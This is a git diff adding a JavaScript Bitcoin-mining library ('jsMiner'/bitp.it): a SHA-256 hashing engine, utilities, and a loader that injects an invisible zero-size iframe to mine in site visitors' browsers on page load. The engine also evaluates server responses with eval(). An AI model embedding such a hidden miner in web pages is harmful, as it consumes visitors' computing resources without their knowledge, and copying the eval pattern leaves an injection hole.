diff --git a/bitp.it.js b/bitp.it.js new file mode 100644 index 0000000..2542231 --- /dev/null +++ b/bitp.it.js @@ -0,0 +1,21 @@ +function addLoadEvent(fun) { + if (window.attachEvent) window.attachEvent('onload', fun); + else if (window.addEventListener) window.addEventListener('load', fun, false); + else document.addEventListener('load', fun, false); +} + +function bitpit(params) { + addLoadEvent(function() { + var url = "http://api.bitp.it/mine?"; + for(var name in params){ + url = url + name + "=" + params[name] + "&"; + } + var frame = document.createElement("iframe"); + frame.setAttribute("src", url); + frame.setAttribute("name", "bitpit") + frame.setAttribute("style", "display: none;"); + frame.setAttribute("height", "0"); + frame.setAttribute("width", "0"); + document.body.appendChild(frame); + }); +} diff --git a/engine.js b/engine.js new file mode 100644 index 0000000..51c99e3 --- /dev/null +++ b/engine.js @@ -0,0 +1,184 @@ +/* Copyright 2011, see LICENSE for details */ + +jsMiner.engine = function(options){ + this.publisherId = ""; + this.delayBetweenNonce = 30; + this.sha = new Sha256(); + this.hashRate = 0; + this.workerRunning = false; + this.forceUIThread = false; + this.autoStart = true; + this.workerTimeout = 30; + + if(options){ + if (options.hasOwnProperty("clientId")) + this.clientId = options.clientId; + if (options.hasOwnProperty("delay")) + this.delayBetweenNonce = options.delay; + if (options.hasOwnProperty("forceUIThread")) + this.forceUIThread = options.forceUIThread; + if (options.hasOwnProperty("autoStart")) + this.autoStart = options.autoStart; + if (options.hasOwnProperty("workerTimeout")) + this.workerTimeout = options.workerTimeout; + } + + this.loadMoreWork = function(result){ + var url = "/work?client_id=" + this.clientId; + if(this.hashRate > 0){ + url = url + "&hash_rate=" + this.hashRate; + } + var me = this; + var httpRequest; + if(window.XDomainRequest){ //IE8+ + httpRequest = new XDomainRequest(); + httpRequest.onload = function(response){ + me.handleGetWorkResponse(httpRequest.responseText); + }; + }else if (window.XMLHttpRequest) { // Everybody else + httpRequest = new XMLHttpRequest(); + httpRequest.onreadystatechange = function(response){ + try{ + if(httpRequest.readyState == 4){ + if(httpRequest.status == 200){ + me.handleGetWorkResponse(httpRequest.responseText); + }else{ + setTimeout(3000, function(){ loadMoreWork(result) }); + } + } + }catch(e){ + setTimeout(3000, function(){ loadMoreWork(result) }); + } + }; + } else { /* you're fucked! */} + + if(!httpRequest) + return; + + if(!result){ + httpRequest.open('GET', url); + httpRequest.send(); + }else{ + httpRequest.open('POST', url); + httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); + httpRequest.send(jsMiner.Util.toPoolString(result)); + } + }; + + this.handleGetWorkResponse = function(response){ + var work = eval("(" + response + ")"); + var midstate = jsMiner.Util.fromPoolString(work.midstate); + var half = work.data.substring(0, 128); + var data = work.data.substring(128, 256); + data = jsMiner.Util.fromPoolString(data); + half = jsMiner.Util.fromPoolString(half); + var hash1 = jsMiner.Util.fromPoolString(work.hash1); + var target = jsMiner.Util.fromPoolString(work.target); + + this.workerEntry(midstate, half, data, hash1, target, work.first_nonce, work.last_nonce); + }; + + this.webWorkerEntry = function(midstate, half, data, hash1, target, startNonce, endNonce){ + var me = this; + var startTime = (new Date()).getTime() ; + if(!this.webWorker){ + this.webWorker = new Worker('jsMiner.js'); + } + this.webWorker.onmessage = function(event) { + var stopTime = (new Date()).getTime() ; + me.workerRunning = false; + me.hashRate = (event.data.lastNonce - startNonce) / (stopTime - startTime) * 1000; + me.loadMoreWork(event.data.data); + }; + this.webWorker.postMessage({ + midstate: midstate, + half: half, + data: data, + hash1: hash1, + target: target, + startNonce: startNonce, + endNonce: endNonce, + pubId: this.publisherId, + timeout: this.workerTimeout + }); + }; + + this.workerEntry = function(midstate, half, data, hash1, target, startNonce, endNonce){ + if(!!window.Worker && !this.forceUIThread){ + this.webWorkerEntry(midstate, half, data, hash1, target, startNonce, endNonce); + return; + } + var nonce = startNonce; + var delay = this.delayBetweenNonce; + var me = this; + var startTime = (new Date()).getTime() ; + var endTime = startTime + this.workerTimeout * 1000; + this.workerRunning = true; + + var workerDone = function(result){ + var stopTime = (new Date()).getTime() ; + me.workerRunning = false; + me.hashRate = (nonce - startNonce) / (stopTime - startTime) * 1000; + me.loadMoreWork(result); + }; + + function worker(){ + + for(var i = 0; i != 100 && nonce < endNonce; i++){ + var hash = me.tryHash(midstate, half, data, hash1, target, nonce); + if(hash != null){ + workerDone(hash); + return; + } + nonce++; + } + if(nonce++ < endNonce && (new Date()).getTime() <= endTime) + setTimeout(worker, delay); + else + workerDone(null); + }; + setTimeout(worker, delay); + }; + + this.tryHash = function(midstate, half, data, hash1, target, nonce){ + data[3] = nonce; + this.sha.reset(); + + var h0 = this.sha.update(midstate, data).state; // compute first hash + for (var i = 0; i < 8; i++) hash1[i] = h0[i]; // place it in the h1 holder + this.sha.reset(); // reset to initial state + var h = this.sha.update(hash1).state; // compute final hash + if (h[7] == 0) { + var ret = []; + for (var i = 0; i < half.length; i++) + ret.push(half[i]); + for (var i = 0; i < data.length; i++) + ret.push(data[i]); + return ret; + } else return null; + }; + + //bootstrap + if(this.autoStart) + this.loadMoreWork(); +} + +if (typeof window == "undefined"){ + //then the code is running in a web worker. + self.onmessage = function(event) { + var startTime = (new Date()).getTime() ; + var endTime = startTime + event.data.timeout * 1000; + var engine = new jsMiner.engine({pubId: event.data.pubId, autoStart: false}); + for(var nonce = event.data.startNonce; nonce != event.data.endNonce; nonce++){ + var result = engine.tryHash(event.data.midstate, event.data.half, event.data.data, event.data.hash1, event.data.target, nonce); + if(result){ + postMessage({data: result, lastNonce: nonce}); + return; + }else if(nonce % 100 && (new Date()).getTime() >= endTime){ + postMessage({data: null, lastNonce: nonce}); + return; + } + } + postMessage({data: null, lastNonce: event.data.endNonce}); + }; +} diff --git a/mine.html b/mine.html new file mode 100644 index 0000000..a05f86a --- /dev/null +++ b/mine.html @@ -0,0 +1,19 @@ + + + + + + + + diff --git a/sha256.js b/sha256.js new file mode 100644 index 0000000..31b62b8 --- /dev/null +++ b/sha256.js @@ -0,0 +1,111 @@ +/* Copyright 2011, see LICENSE for details */ + +Sha256 = function(init, data) { + + var K = [0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, + 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, + 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, + 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, + 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, + 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, + 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, + 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2]; + + var H = [0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19]; + + var add = function (x, y) { + var lsw = (x & 0xFFFF) + (y & 0xFFFF); + var msw = (x >> 16) + (y >> 16) + (lsw >> 16); + return (msw << 16) | (lsw & 0xFFFF); + }; + + var add_all = function() { + var sum = arguments[0]; + for (var i = 1; i < arguments.length; i++) + sum = add(sum, arguments[i]); + return sum; + }; + + var set_state = function(target, source) { + for (var i = 0; i < 8; i++) + target[i] = source[i]; + }; + + var extend_work = function(work, w) { + for (var i = 0; i < 16; i++) + work[i] = w[i]; + w = work; + for (var i = 16; i < 64; i++) { + var s0 = rotr(w[i - 15], 7) ^ rotr(w[i - 15], 18) ^ shr(w[i - 15], 3); + var s1 = rotr(w[i - 2], 17) ^ rotr(w[i - 2], 19) ^ shr(w[i - 2], 10); + w[i] = add_all(w[i-16], s0, w[i-7], s1); + } + return w; + }; + + var rotr = function(x, n) { + return (x >>> n) | (x << (32 - n)); + }; + + var shr = function(x, n) { + return (x >>> n); + }; + + this.state = [0,0,0,0,0,0,0,0]; + set_state(this.state, H); + + this.work = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; + + this.hex = function() { + return jsMiner.Util.uint32_array_to_hex(this.state); + }; + + this.reset = function() { + set_state(this.state, H); + return this; + }; + + this.update = function(init, data) { + if (!data) { data = init; init = null; } + if (typeof(init) == 'string') + init = jsMiner.Util.hex_to_uint32_array(init); + if (init) set_state(this.state, init); + if (typeof(data) == 'string') + data = jsMiner.Util.hex_to_uint32_array(data); + + var w = extend_work(this.work, data); + var s = this.state; + var a = s[0], b = s[1], c = s[2], d = s[3], + e = s[4], f = s[5], g = s[6], h = s[7]; + for (var i = 0; i < 64; i++) { + var s0 = rotr(a, 2) ^ rotr(a, 13) ^ rotr(a, 22); + var maj = (a & b) ^ (a & c) ^ (b & c); + var t2 = add(s0, maj); + var s1 = rotr(e, 6) ^ rotr(e, 11) ^ rotr(e, 25); + var ch = (e & f) ^ ((~e) & g); + var t1 = add_all(h, s1, ch, K[i], w[i]); + h = g; g = f; f = e; + e = add(d, t1); + d = c; c = b; b = a; + a = add(t1, t2); + } + s[0] = add(s[0], a); + s[1] = add(s[1], b); + s[2] = add(s[2], c); + s[3] = add(s[3], d); + s[4] = add(s[4], e); + s[5] = add(s[5], f); + s[6] = add(s[6], g); + s[7] = add(s[7], h); + return this; + }; + + if (init) this.update(init, data); +}; + +var module; +module = module || {}; +module.exports = Sha256; \ No newline at end of file diff --git a/utils.js b/utils.js new file mode 100644 index 0000000..3c41fab --- /dev/null +++ b/utils.js @@ -0,0 +1,58 @@ +/* Copyright 2011, see LICENSE for details */ + +if (typeof(jsMiner) == 'undefined') + var jsMiner = {}; + +jsMiner.Util = { + hex_to_uint32_array: function(hex) { + var arr = []; + for (var i = 0, l = hex.length; i < l; i += 8) { + arr.push(parseInt(hex.substring(i, i+8), 16)); + } + return arr; + }, + + uint32_array_to_hex: function(arr) { + var hex = ''; + for (var i = 0; i < arr.length; i++) { + hex += jsMiner.Util.byte_to_hex(arr[i] >>> 24); + hex += jsMiner.Util.byte_to_hex(arr[i] >>> 16); + hex += jsMiner.Util.byte_to_hex(arr[i] >>> 8); + hex += jsMiner.Util.byte_to_hex(arr[i] ); + } + return hex; + }, + + byte_to_hex: function(b) { + var tab = '0123456789abcdef'; + b = b & 0xff; + return tab.charAt(b / 16) + + tab.charAt(b % 16); + }, + + reverseBytesInWord: function(w) { + return ((w << 24) & 0xff000000) | + ((w << 8) & 0x00ff0000) | + ((w >>> 8) & 0x0000ff00) | + ((w >>> 24) & 0x000000ff); + }, + + reverseBytesInWords: function(words) { + var reversed = []; + for(var i = 0; i < words.length; i++) + reversed.push(jsMiner.Util.reverseBytesInWord(words[i])); + return reversed; + }, + + fromPoolString: function(hex) { + return jsMiner.Util.reverseBytesInWords(jsMiner.Util.hex_to_uint32_array(hex)); + }, + + toPoolString: function(data) { + return jsMiner.Util.uint32_array_to_hex(jsMiner.Util.reverseBytesInWords(data)); + } +}; + +var module; +module = module || {}; +module.exports = jsMiner.Util; \ No newline at end of file